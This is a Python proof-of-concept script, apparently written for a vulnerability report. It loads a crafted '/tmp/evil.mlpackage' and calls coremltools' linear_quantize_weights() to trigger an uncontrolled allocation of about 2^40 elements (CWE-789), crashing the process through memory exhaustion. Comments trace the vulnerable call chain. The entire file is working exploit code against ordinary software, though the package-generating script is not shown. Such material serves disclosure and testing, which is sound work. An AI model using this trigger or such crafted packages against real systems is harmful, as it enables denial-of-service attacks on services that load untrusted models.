trigger.py

"""
CoreML CWE-789 Trigger
=======================
Loads evil.mlpackage and calls linear_quantize_weights(),
which triggers _milproto_to_pymil.load → _restore_np_from_bytes_value
→ element_num = np.prod([2^40, 1]) → huge allocation → OOM/crash.

Expected: MemoryError, SIGKILL, or OOM process death.
"""
import sys, os

pkg = '/tmp/evil.mlpackage'
if not os.path.exists(pkg):
    print(f"[-] {pkg} not found — run make_poc.py first")
    sys.exit(1)

print(f"[*] Package: {pkg}")

import coremltools as ct
from coremltools.optimize.coreml import OpLinearQuantizerConfig, OptimizationConfig

print(f"[*] coremltools version: {ct.__version__}", flush=True)

# Load without macOS proxy (works cross-platform)
print("[*] Loading model with skip_model_load=True...", flush=True)
try:
    mlmodel = ct.models.MLModel(pkg, skip_model_load=True)
    print("[+] MLModel loaded OK", flush=True)
    spec = mlmodel.get_spec()
    print(f"[+] Model type: {spec.WhichOneof('Type')}", flush=True)
    print(f"[+] Spec version: {spec.specificationVersion}", flush=True)
except Exception as e:
    print(f"[-] Load failed: {type(e).__name__}: {e}")
    sys.exit(1)

# Trigger the vulnerable path:
# linear_quantize_weights → _convert_model_spec_to_pymil_prog
# → _milproto_to_pymil.load → _load_value → _restore_np_from_bytes_value
# → element_num = np.prod([2^40, 1]) → MASSIVE allocation → OOM
print("[*] Calling linear_quantize_weights() → triggers vulnerable _milproto_to_pymil.load...", flush=True)
print("[*] Expected: MemoryError or OOM kill on np.prod([2^40,1]) = 1,099,511,627,776 element alloc", flush=True)

try:
    config = OptimizationConfig(
        global_config=OpLinearQuantizerConfig(mode="linear_symmetric", dtype="int4", weight_threshold=0)
    )
    result = ct.optimize.coreml.linear_quantize_weights(mlmodel, config)
    print(f"[!] Completed without crash — unexpected: {result}")
except MemoryError as e:
    print(f"[+] CRASH: MemoryError — OOM from element_num=2^40 allocation: {e}")
except Exception as e:
    print(f"[*] Exception: {type(e).__name__}: {e}")
finally:
    print("[*] Done", flush=True)